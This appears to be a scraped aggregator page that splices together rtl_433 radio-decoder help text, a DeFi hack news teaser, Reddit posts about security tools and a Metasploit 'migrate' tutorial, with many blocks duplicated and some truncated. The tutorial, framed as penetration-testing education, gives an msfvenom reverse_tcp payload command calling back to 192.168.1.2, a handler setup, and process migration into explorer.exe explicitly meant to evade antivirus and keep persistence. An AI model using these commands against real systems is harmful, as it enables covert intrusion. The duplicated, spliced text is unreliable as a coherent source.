To set gain for RTL-SDR use -g to set an overall gain in dB.
SoapySDR device driver is available.
[-d ""] Open default SoapySDR device
[-d driver=rtlsdr] Open e.g. specific SoapySDR device
To set gain for SoapySDR use -g ELEM=val,ELEM=val,... e.g. -g LNA=20,TIA=8,PGA=2 (for LimeSDR).
[-d rtl_tcp[:[//]host[:port]] (default: localhost:1234)
Specify host/port to connect to with e.g. -d rtl_tcp:127.0.0.1:1234
= Gain o ption =
[-g ] (default: auto)
For RTL-SDR: gain in dB ("0" is auto).
For SoapySDR: gain in dB for automatic distribution ("" is auto), or string of gain elements.
E.g. "LNA=20,TIA=8,PGA=2" for LimeSDR.
= Flex decoder spec =
Use -X to add a flexible general purpose decoder.
is "key=value[,key=value...]"
Common keys are:
name= (or: n=)
modulation= (or: m=)
short= (or: s=)
long= (or: l=)
sync= (or: y=)
reset= (or: r=)
gap= (or: g=)
tolerance= (or: t=)
where:
can be any descriptive name tag you need in the output
is one of:
OOK_MC_ZEROBIT : Manchester Code with fixed leading zero bit
OOK_PCM : Pulse Code Modulation (RZ or NRZ)
OOK_PPM : Pulse Position Modulation
OOK_PWM : Pulse Width Modulation
OOK_DMC : Differential Manchester Code
OOK_PIWM_RAW : Raw Pulse Interval and Width Modulation
OOK_PIWM_DC : Differential Pulse Interval and Width Modulation
OOK_MC_OSV1 : Manchester Code for OSv1 devices
FSK_PCM : FSK Pulse Code Modulation
FSK_PWM : FSK Pulse Width Modulation
FSK_MC_ZEROBIT : Manchester Code with fixed leading zero bit
, , are nominal modulation timings in us,
, , are maximum modulation timings in us:
PCM short: Nominal width of pulse [us]
long: Nominal width of bit period [us]
PPM short: Nominal width of '0' gap [us]
long: Nominal width of '1' gap [us]
PWM short: Nominal width of '1' pulse [us]
long: Nominal w idth of '0' pulse [us]
sync: Nominal width of sync pulse [us] (optional)
common gap: Maximum gap size before new row of bits [us]
reset: Maximum gap size before End Of Message [us]
tolerance: Maximum pulse deviation [us] (optional).
Available options are:
bits= : only match if at least one row has bits
rows= : only match if there are rows
repeats= : only match if some row is repeated times
use opt>=n to match at least and opt<=n to match at most
invert : invert all bits
reflect : reflect each byte (MSB first to MSB last)
match= : only match if the are found
preamble= : match and align at the preamble
is a row spec of {}
unique : suppress duplicate row output
countonly : suppress detailed row o utput
E.g. -X "n=doorbell,m=OOK_PWM,s=400,l=800,r=7000,g=1000,match={24}0xa9878c,repeats>=3"
= Output format option =
[-F kv|json|csv|mqtt|influx|syslog|null] Produce decoded output in given format.
Without this option the default is KV output. Use "-F null" to remove the default.
Append output to file with : (e.g. -F csv:log.csv), defaults to stdout.
Specify MQTT server with e.g. -F mqtt://localhost:1883
Add MQTT options with e.g. -F "mqtt://host:1883,opt=arg"
MQTT options are: user=foo, pass=bar, retain[=0|1], [=topic]
Supported MQTT formats: (default is all)
events: posts JSON event data
states: posts JSON state data
devices: posts device and sensor info in nested topics
The topic string will expand keys like [/model]
E.g. -F "mqtt://localhost:1883,user=USERNAME,pass=PASSWORD,retain=0,devices=rtl_433[/id]"
With MQTT each rtl_433 instance needs a d istinct driver selection. The MQTT Client-ID is computed from the driver string.
If you use multiple RTL-SDR, perhaps set a serial and select by that (helps not to get the wrong antenna).
Specify InfluxDB 2.0 server with e.g. -F "influx://localhost:9999/api/v2/write?org=&bucket=,token="
Specify InfluxDB 1.x server with e.g. -F "influx://localhost:8086/write?db=&p=&u="
SoapySDR device driver is available.
[-d ""] Open default SoapySDR device
[-d driver=rtlsdr] Open e.g. specific SoapySDR device
To set gain for SoapySDR use -g ELEM=val,ELEM=val,... e.g. -g LNA=20,TIA=8,PGA=2 (for LimeSDR).
[-d rtl_tcp[:[//]host[:port]] (default: localhost:1234)
Specify host/port to connect to with e.g. -d rtl_tcp:127.0.0.1:1234
= Gain o ption =
[-g ] (default: auto)
For RTL-SDR: gain in dB ("0" is auto).
For SoapySDR: gain in dB for automatic distribution ("" is auto), or string of gain elements.
E.g. "LNA=20,TIA=8,PGA=2" for LimeSDR.
= Flex decoder spec =
Use -X to add a flexible general purpose decoder.
is "key=value[,key=value...]"
Common keys are:
name= (or: n=)
modulation= (or: m=)
short= (or: s=)
long= (or: l=)
sync= (or: y=)
reset= (or: r=)
gap= (or: g=)
tolerance= (or: t=)
where:
can be any descriptive name tag you need in the output
is one of:
OOK_MC_ZEROBIT : Manchester Code with fixed leading zero bit
OOK_PCM : Pulse Code Modulation (RZ or NRZ)
OOK_PPM : Pulse Position Modulation
OOK_PWM : Pulse Width Modulation
OOK_DMC : Differential Manchester Code
OOK_PIWM_RAW : Raw Pulse Interval and Width Modulation
OOK_PIWM_DC : Differential Pulse Interval and Width Modulation
OOK_MC_OSV1 : Manchester Code for OSv1 devices
FSK_PCM : FSK Pulse Code Modulation
FSK_PWM : FSK Pulse Width Modulation
FSK_MC_ZEROBIT : Manchester Code with fixed leading zero bit
, , are nominal modulation timings in us,
, , are maximum modulation timings in us:
PCM short: Nominal width of pulse [us]
long: Nominal width of bit period [us]
PPM short: Nominal width of '0' gap [us]
long: Nominal width of '1' gap [us]
PWM short: Nominal width of '1' pulse [us]
long: Nominal w idth of '0' pulse [us]
sync: Nominal width of sync pulse [us] (optional)
common gap: Maximum gap size before new row of bits [us]
reset: Maximum gap size before End Of Message [us]
tolerance: Maximum pulse deviation [us] (optional).
Available options are:
bits= : only match if at least one row has bits
rows= : only match if there are rows
repeats= : only match if some row is repeated times
use opt>=n to match at least and opt<=n to match at most
invert : invert all bits
reflect : reflect each byte (MSB first to MSB last)
match= : only match if the are found
preamble= : match and align at the preamble
is a row spec of {}
unique : suppress duplicate row output
countonly : suppress detailed row o utput
E.g. -X "n=doorbell,m=OOK_PWM,s=400,l=800,r=7000,g=1000,match={24}0xa9878c,repeats>=3"
= Output format option =
[-F kv|json|csv|mqtt|influx|syslog|null] Produce decoded output in given format.
Without this option the default is KV output. Use "-F null" to remove the default.
Append output to file with : (e.g. -F csv:log.csv), defaults to stdout.
Specify MQTT server with e.g. -F mqtt://localhost:1883
Add MQTT options with e.g. -F "mqtt://host:1883,opt=arg"
MQTT options are: user=foo, pass=bar, retain[=0|1], [=topic]
Supported MQTT formats: (default is all)
events: posts JSON event data
states: posts JSON state data
devices: posts device and sensor info in nested topics
The topic string will expand keys like [/model]
E.g. -F "mqtt://localhost:1883,user=USERNAME,pass=PASSWORD,retain=0,devices=rtl_433[/id]"
With MQTT each rtl_433 instance needs a d istinct driver selection. The MQTT Client-ID is computed from the driver string.
If you use multiple RTL-SDR, perhaps set a serial and select by that (helps not to get the wrong antenna).
Specify InfluxDB 2.0 server with e.g. -F "influx://localhost:9999/api/v2/write?org=&bucket=,token="
Specify InfluxDB 1.x server with e.g. -F "influx://localhost:8086/write?db=&p=&u="
= Meta information option =
[-M time[:]|protocol|level|noise[:]|stats|bits] Add various metadata to every output line.
Use "time" to add current date and time meta data (preset for live inputs).
Use "time:rel" to add sample position meta data (preset for read-file and stdin).
Use "time:un ix" to show the seconds since unix epoch as time meta data.
Use "time:iso" to show the time with ISO-8601 format (YYYY-MM-DD"T"hh:mm:ss).
Use "time:off" to remove time meta data.
Use "time:usec" to add microseconds to date time meta data.
Use "time:tz" to output time with timezone offset.
Use "time:utc" to output time in UTC.
(this may also be accomplished by invocation with TZ environment variable set).
"usec" and "utc" can be combined with other options, eg. "time:unix:utc:usec".
Use "protocol" / "noprotocol" to output the decoder protocol number meta data.
Use "level" to add Modulation, Frequency, RSSI, SNR, and Noise meta data.
Use "noise[:secs]" to report estimated noise level at intervals (default: 10 seconds).
Use "stats[:[][:]]" to report statistics (default: 600 seconds).
level 0: no report, 1: report successful devices, 2: report active devices, 3: report all
Use "bits" to add bit representation to code outputs (for debug).
= Read file option =
[-r ] Read data from input file instead of a receiver
Parameters are detected from the full path, file name, and extension.
A center frequency is detected as (fractional) number suffixed with 'M',
'Hz', 'kHz', 'MHz', or 'GHz'.
A sample rate is detected as (fractional) number suffixed with 'k',
'sps', 'ksps', 'Msps', or 'Gsps'.
File content and format are detected as parameters, possible options are:
'cu8', 'cs16', 'cf32' ('IQ' implied), and 'am.s16'.
Parameters must be separated by non-alphanumeric chars and are case-insensitive.
Overrides can be prefixed, separated by colon (':')
E.g. default detection by extension: path/filename.am.s16
forced overrides: am:s16:path/filename.ext
Reading from pipes also support format options.
E.g reading complex 32-bit float: CU32:-
= Write file option =
[-w ] Save data stream to output file (a '-' dumps samples to stdout)
[-W ] Save data stream to output file, overwrite existing file
Parameters are detected from the full path, file name, and extension.
File content and format are detected as parameters, possible options are:
'cu8', 'cs8', 'cs16', 'cf32' ('IQ' implied),
'am.s16', 'am.f32', 'fm.s16', 'fm.f32',
'i.f32', 'q.f32', 'logic.u8', 'ook', and 'vcd'.
Parameters must be separated by non-alphanumeric chars and are case-insensitive.
Overrides can be prefixed, separated by colon (':')
E.g. default detection by extension: path/filename.am.s16
forced overrides: am:s16:path/filename.ext
Some examples: Command Description rtl_433 Default receive mode, use the first device found, listen at 433.92 MHz at 250k sample rate. rtl_433 -C si Default receive mode, also convert units to metric system. rtl_433 -f 868M -s 1024k Listen at 868 MHz and 1024k sample rate. rtl_433 -M hires -M level Report microsecond accurate timestamps and add reception levels (depending on gain). rtl_433 -R 1 -R 8 -R 43 Enable only specific decoders for desired devices. rtl_433 -A Enable pulse analyzer. Summarizes the timings of pulses, gaps, and periods. Can be used with -R 0 to disable decoders. rtl_433 -S all -T 120 Save all detected signals (g###_###M_###k.cu8). Run for 2 minutes. rtl_433 -K FILE -r file_name Read a saved data file instead of receiving live data. Tag output with filenames. rtl_433 -F json -M utc | mosquitto_pub -t home/rtl_433 -l Will pipe the output to network as JSON formatted MQTT messages. A test MQTT client can be found in examples/mqtt_rtl_433_test_client.py. rtl_433 -f 433.53M -f 434.02M -H 15 Will poll two frequencies with 15 seconds hop interval.
Google Group
[-M time[:]|protocol|level|noise[:]|stats|bits] Add various metadata to every output line.
Use "time" to add current date and time meta data (preset for live inputs).
Use "time:rel" to add sample position meta data (preset for read-file and stdin).
Use "time:un ix" to show the seconds since unix epoch as time meta data.
Use "time:iso" to show the time with ISO-8601 format (YYYY-MM-DD"T"hh:mm:ss).
Use "time:off" to remove time meta data.
Use "time:usec" to add microseconds to date time meta data.
Use "time:tz" to output time with timezone offset.
Use "time:utc" to output time in UTC.
(this may also be accomplished by invocation with TZ environment variable set).
"usec" and "utc" can be combined with other options, eg. "time:unix:utc:usec".
Use "protocol" / "noprotocol" to output the decoder protocol number meta data.
Use "level" to add Modulation, Frequency, RSSI, SNR, and Noise meta data.
Use "noise[:secs]" to report estimated noise level at intervals (default: 10 seconds).
Use "stats[:[][:]]" to report statistics (default: 600 seconds).
level 0: no report, 1: report successful devices, 2: report active devices, 3: report all
Use "bits" to add bit representation to code outputs (for debug).
= Read file option =
[-r ] Read data from input file instead of a receiver
Parameters are detected from the full path, file name, and extension.
A center frequency is detected as (fractional) number suffixed with 'M',
'Hz', 'kHz', 'MHz', or 'GHz'.
A sample rate is detected as (fractional) number suffixed with 'k',
'sps', 'ksps', 'Msps', or 'Gsps'.
File content and format are detected as parameters, possible options are:
'cu8', 'cs16', 'cf32' ('IQ' implied), and 'am.s16'.
Parameters must be separated by non-alphanumeric chars and are case-insensitive.
Overrides can be prefixed, separated by colon (':')
E.g. default detection by extension: path/filename.am.s16
forced overrides: am:s16:path/filename.ext
Reading from pipes also support format options.
E.g reading complex 32-bit float: CU32:-
= Write file option =
[-w ] Save data stream to output file (a '-' dumps samples to stdout)
[-W ] Save data stream to output file, overwrite existing file
Parameters are detected from the full path, file name, and extension.
File content and format are detected as parameters, possible options are:
'cu8', 'cs8', 'cs16', 'cf32' ('IQ' implied),
'am.s16', 'am.f32', 'fm.s16', 'fm.f32',
'i.f32', 'q.f32', 'logic.u8', 'ook', and 'vcd'.
Parameters must be separated by non-alphanumeric chars and are case-insensitive.
Overrides can be prefixed, separated by colon (':')
E.g. default detection by extension: path/filename.am.s16
forced overrides: am:s16:path/filename.ext
Some examples: Command Description rtl_433 Default receive mode, use the first device found, listen at 433.92 MHz at 250k sample rate. rtl_433 -C si Default receive mode, also convert units to metric system. rtl_433 -f 868M -s 1024k Listen at 868 MHz and 1024k sample rate. rtl_433 -M hires -M level Report microsecond accurate timestamps and add reception levels (depending on gain). rtl_433 -R 1 -R 8 -R 43 Enable only specific decoders for desired devices. rtl_433 -A Enable pulse analyzer. Summarizes the timings of pulses, gaps, and periods. Can be used with -R 0 to disable decoders. rtl_433 -S all -T 120 Save all detected signals (g###_###M_###k.cu8). Run for 2 minutes. rtl_433 -K FILE -r file_name Read a saved data file instead of receiving live data. Tag output with filenames. rtl_433 -F json -M utc | mosquitto_pub -t home/rtl_433 -l Will pipe the output to network as JSON formatted MQTT messages. A test MQTT client can be found in examples/mqtt_rtl_433_test_client.py. rtl_433 -f 433.53M -f 434.02M -H 15 Will poll two frequencies with 15 seconds hop interval.
Google Group
Join the Google group, rtl_433, for more information about rtl_433: https://groups.google.com/forum/#!forum/rtl_433
Troubleshooting
If you see this error: Kernel driver is active, or device is claimed by second instance of librtlsdr.
In the first case, please either detach or blacklist the kernel module
(dvb_usb_rtl28xxu), or enable automatic detaching at compile time.
then sudo rmmod dvb_usb_rtl28xxu rtl2832
Releases
Version numbering scheme used is year.month. We try to keep the API compatible between releases but focus is on maintainablity.
Download Rtl_433 (https://github.com/merbanan/rtl_433)
Troubleshooting
If you see this error: Kernel driver is active, or device is claimed by second instance of librtlsdr.
In the first case, please either detach or blacklist the kernel module
(dvb_usb_rtl28xxu), or enable automatic detaching at compile time.
then sudo rmmod dvb_usb_rtl28xxu rtl2832
Releases
Version numbering scheme used is year.month. We try to keep the API compatible between releases but focus is on maintainablity.
Download Rtl_433 (https://github.com/merbanan/rtl_433)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Hashing Bits, 31st July edition
Hacks:
→ PolyYeld Finance, yield farming protocol on Polygon, was hacked using a contract vulnerability. The hacker minted 4.9 trillion…
Continue reading on QuillHash »
Hashing Bits, 31st July edition
Hacks:
→ PolyYeld Finance, yield farming protocol on Polygon, was hacked using a contract vulnerability. The hacker minted 4.9 trillion…
Continue reading on QuillHash »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Cybersecurity Is a Failing Profession: Here’s How to Fix It
https://cdn-images-1.medium.com/max/2600/0*0NAVfqUeWvOj4Q3Z
Stop looking for talent in the same old places
Continue reading on Geek Culture »
Cybersecurity Is a Failing Profession: Here’s How to Fix It
https://cdn-images-1.medium.com/max/2600/0*0NAVfqUeWvOj4Q3Z
Stop looking for talent in the same old places
Continue reading on Geek Culture »
Deep Web
I'm always the smartest person in the room. it feels like everyone looks at me and no one sees me. "It's such an embarrassing feeling."
submitted by /u/DanthonyLopir
[link] [comments]
I'm always the smartest person in the room. it feels like everyone looks at me and no one sees me. "It's such an embarrassing feeling."
submitted by /u/DanthonyLopir
[link] [comments]
reddit
I'm always the smartest person in the room. it feels like everyone...
Posted in r/deepweb by u/DanthonyLopir • 2 points and 0 comments
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Metasploit for Pentester: Migrate
In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate command and its functionalities. Table of Content<o:p· Introduction<o:p· Migration with Process Name<o:p· Migration with Process ID<o:p· Generating Prepend Migrate Payload<o:p· Persistence with Prepend Migrate<o:p· Conclusion<o:pIntroduction<o:pBefore jumping right into the migrate command and its options, it should be stated that migrate is a post-exploitation module and it can be used only after successful exploitation of a machine. In the demonstration provided, we have exploited a Windows Machine and will be using the migrate command on the processes running on that machine. When we have successfully exploited a machine and have achieved a Meterpreter session on it, we can use the Migrate command to transfer the process on which the exploit is running on a different process. The reason for migrating from one process to another can be stated below.<o:p
1. Stability: Exploits and Payloads that are providing the session tend to be unstable as compared to the basic process that has been developed for the target and is running on the target. Hence, migrating to those processes can serve to provide a more stable connection.<o:p
2. Cloaking: Antivirus Software or any other Defensive Software tends to scan and look for malicious files that might be running on the machine. Hence, Cloaking or Hiding our malicious process will avoid detection.<o:p
3. Compatibility: It is possible that while exploiting a machine that the payload you used might be designed for the 64-bit Architecture but the session that you have received is an Operating System running an 86-bit Architecture. Migrate can be used to shift the process to the native process and provide compatibility to the session.<o:p
Now that we have a basic understanding of the migrate command and the locations or situations where migration can be used. To understand the various options that can be used with the migrate command, we can run migrate with the -h option and we will have the help section as shown in the image. We can see that we have the choice to provide the PID of the process that we want to migrate, -P option to provide the target PID, -N to provide the Name of the process, and -t to provide the timeout.<o:p migrate -h<o:phttps://1.bp.blogspot.com/-QByVeBEEPXk/YQPb9XVzmwI/AAAAAAAAyBg/_aY4FjZOp_QEDg9q65YxlIv4To2vKCt5gCLcBGAsYHQ/s16000/1.png Migration with Process Name<o:pWe will begin with the Migration based on the Name of the process. Migrate is usually used in the collaboration with the Process ID but as we were able to deduce from the Help section that an option is available that can help us with the migration using the name of the process. To demonstrate we will migrate the payload that we used to get the session on the target machine into the Explorer.exe process. We can see that the payload raj.exe is running on the machine with the Process ID of 7088. Keep this in mind as when we migrate it, it can be verified based on this PID.<o:p https://1.bp.blogspot.com/-SufgBpfJ4EQ/YQPcCXnU3MI/AAAAAAAAyBk/9TrK19ZwsQAMyHmrvF8GbljEVEIxa8YjgCLcBGAsYHQ/s16000/2.png We know that Explorer Process is the process that is running on Windows-based machines and it is responsible for the Display Management and the Taskbar and Start Menu as well. This means that this process will be running until the machine is turned off. This makes this process an ideal candidate for migr[...]
Metasploit for Pentester: Migrate
In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features present in the Metasploit Framework to the maximum extent. In this article, we will be talking about the migrate command and its functionalities. Table of Content<o:p· Introduction<o:p· Migration with Process Name<o:p· Migration with Process ID<o:p· Generating Prepend Migrate Payload<o:p· Persistence with Prepend Migrate<o:p· Conclusion<o:pIntroduction<o:pBefore jumping right into the migrate command and its options, it should be stated that migrate is a post-exploitation module and it can be used only after successful exploitation of a machine. In the demonstration provided, we have exploited a Windows Machine and will be using the migrate command on the processes running on that machine. When we have successfully exploited a machine and have achieved a Meterpreter session on it, we can use the Migrate command to transfer the process on which the exploit is running on a different process. The reason for migrating from one process to another can be stated below.<o:p
1. Stability: Exploits and Payloads that are providing the session tend to be unstable as compared to the basic process that has been developed for the target and is running on the target. Hence, migrating to those processes can serve to provide a more stable connection.<o:p
2. Cloaking: Antivirus Software or any other Defensive Software tends to scan and look for malicious files that might be running on the machine. Hence, Cloaking or Hiding our malicious process will avoid detection.<o:p
3. Compatibility: It is possible that while exploiting a machine that the payload you used might be designed for the 64-bit Architecture but the session that you have received is an Operating System running an 86-bit Architecture. Migrate can be used to shift the process to the native process and provide compatibility to the session.<o:p
Now that we have a basic understanding of the migrate command and the locations or situations where migration can be used. To understand the various options that can be used with the migrate command, we can run migrate with the -h option and we will have the help section as shown in the image. We can see that we have the choice to provide the PID of the process that we want to migrate, -P option to provide the target PID, -N to provide the Name of the process, and -t to provide the timeout.<o:p migrate -h<o:phttps://1.bp.blogspot.com/-QByVeBEEPXk/YQPb9XVzmwI/AAAAAAAAyBg/_aY4FjZOp_QEDg9q65YxlIv4To2vKCt5gCLcBGAsYHQ/s16000/1.png Migration with Process Name<o:pWe will begin with the Migration based on the Name of the process. Migrate is usually used in the collaboration with the Process ID but as we were able to deduce from the Help section that an option is available that can help us with the migration using the name of the process. To demonstrate we will migrate the payload that we used to get the session on the target machine into the Explorer.exe process. We can see that the payload raj.exe is running on the machine with the Process ID of 7088. Keep this in mind as when we migrate it, it can be verified based on this PID.<o:p https://1.bp.blogspot.com/-SufgBpfJ4EQ/YQPcCXnU3MI/AAAAAAAAyBk/9TrK19ZwsQAMyHmrvF8GbljEVEIxa8YjgCLcBGAsYHQ/s16000/2.png We know that Explorer Process is the process that is running on Windows-based machines and it is responsible for the Display Management and the Taskbar and Start Menu as well. This means that this process will be running until the machine is turned off. This makes this process an ideal candidate for migr[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Metasploit for Pentester: Migrate In the continuation in this series of articles dedicated to the Metasploit Framework to provide an appropriate resource for Penetration Testers so that they can use the variety of the features…
ating the payload. We run the migrate command with the -N option followed by the process name and we can see the image below that the payload process raj.exe with PID 7088 was migrated to the Explorer Process with PID 5200.<o:p migrate -N explorer.exe<o:phttps://1.bp.blogspot.com/-u1QBoPGXW5g/YQPcGgmHj2I/AAAAAAAAyBo/8MmGvh-Y6W8AzOkqFjp_RzXVqwbAAsuqQCLcBGAsYHQ/s16000/3.png To perform a little check on our payload process we again run the ps command with grep to look for a process with the name raj.exe but as we can see that the process was not found because it was migrated to the Explorer process.<o:p ps | grep raj.exe<o:phttps://1.bp.blogspot.com/-y0I2ekrfJKM/YQPcLpM6U0I/AAAAAAAAyBs/Gpda5FtO6sAizd-geyVsg_FFdJzXeUOZwCLcBGAsYHQ/s16000/4.png Migration with Process ID<o:pMoving onto the demonstration of the method that most of the Penetration Testes are familiar with. As they have used the migrate in to perform the migration of a process using the PID. To demonstrate, we will take the notepad process running on the target machine with the PID 3556. This is just a random example, the method can be applied to any of the processes or even the payload process as shown earlier. <o:p https://1.bp.blogspot.com/-9QR-wfimTrU/YQPcQC5OjYI/AAAAAAAAyBw/VeuFENE1YLQW93N6p-aOveAPCRuz1O7aQCLcBGAsYHQ/s16000/6.png Now, again we can check the process that we are targeting with the help of the ps command. This process can be streamlined with the help of grep as it will show the process of interest. We see that we have the process with the PID 3556. We will use the migrate command and followed by the process ID of the targeted process. And we can see that the process was successfully migrated.<o:p ps | grep notepad<o:pmigrate 3556<o:phttps://1.bp.blogspot.com/-DwU_q3G3P1c/YQPcVJrfscI/AAAAAAAAyB4/15gZPbFyrVMvhTWzeKSItKzZKzNryxnIwCLcBGAsYHQ/s16000/7.png Generating Prepend Migrate Payload<o:pEarlier we talked about how the Explorer process is the ideal process for migrating the payload process. We can arrange this while creating the payload itself with the help of msfvenom. This will create the payload of your choice with the prependmigrate option. From the image and the command provided below, we can see that we are creating a payload targeting the Windows machine and generating a reverse shell back to the IP Address 192.168.1.2 and port 1234. But we also provide that the malicious process should migrate to the Explorer process. At last, we are stating that this payload should be generated into an executable file for the target to run.<o:p msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=1234 prependmigrateprocess=explorer.exe prependmigrate-true -f exe > shell.exe<o:phttps://1.bp.blogspot.com/-N4JKWwlIkMk/YQPcaCr-5_I/AAAAAAAAyCA/79LmjCJQc1kt52eZlKj9a-E0KqFYs3HBACLcBGAsYHQ/s16000/8.png Persistence with Prepend Migrate<o:pFinally, we are going to migrate the malicious process to a safe already running process, and then we will try to kill the process to see if it is possible to create a Persistence with this type of migration. This will help us with the life of the session that we have generated. Suppose that target, can be the user or any protection software suspects that there is a malicious process present on the machine, it can try to terminate the particular process. However, if we can migrate the process, it can retain the session and give us the access that we require. We use the payload we generated using MSFVenom in the previous stage and use it to get a session on the target machine. We will require a listener to capture the reverse shell that will be generated by the execution of the payload on the target machine. We set all the parameters that we set while creating the payload and as soon as we get a session on the machine, we can see that the shell process was created with the PID 8064. We try to kill the process and we[...]
Hacking Articles Tips Tricks Videos Tutorials
ating the payload. We run the migrate command with the -N option followed by the process name and we can see the image below that the payload process raj.exe with PID 7088 was migrated to the Explorer Process with PID 5200.<o:p migrate -N explorer.exe<o:p…
can see that even after the targeted process was killed the session remains active and we have a persistence meterpreter on the target machine.<o:p use exploit/multi/handler<o:pset payload windows/meterpreter/reverse_tcp<o:pset lhost 192.168.1.2<o:pset lport 1234<o:pset prependmigrateprocess explorer.exe<o:pset prependmigrate true<o:pexploit<o:pps | grep shell.exe<o:pkill 8064<o:psysinfo<o:phttps://1.bp.blogspot.com/-WuYVar5cuC8/YQPce-lb9eI/AAAAAAAAyCI/wAwO0Kfh9sswHCPCwGXEbMcptUwZfIs7wCLcBGAsYHQ/s16000/9.png Conclusion<o:pTo conclude, we would like to point out that Metasploit is full of various small utilities that any Penetration Tester could use during their assessment. However, the depth of the different tasks that these utilities can perform is much more than what we use them for. Hence, we wrote this article to introduce the workings of the migrate command from the Metasploit Framework.<o:p
hacking: security in practice
Best SAST and DAST for web applications
Hey, guys!
I know SAST and DAST tools aren't the most reliable softwares in the world and can give you tons of false positives or false negatives... But if you have to choose one, which one would be? And why?
I search about a few and I'm using OWASP Zap, mainly 'cause it's free and my team lack experience with his kind of software, so I don't want to spent a lot of money rn.
submitted by /u/Rekkien
[link] [comments]
Best SAST and DAST for web applications
Hey, guys!
I know SAST and DAST tools aren't the most reliable softwares in the world and can give you tons of false positives or false negatives... But if you have to choose one, which one would be? And why?
I search about a few and I'm using OWASP Zap, mainly 'cause it's free and my team lack experience with his kind of software, so I don't want to spent a lot of money rn.
submitted by /u/Rekkien
[link] [comments]
reddit
Best SAST and DAST for web applications
Hey, guys! I know SAST and DAST tools aren't the most reliable softwares in the world and can give you tons of false positives or false...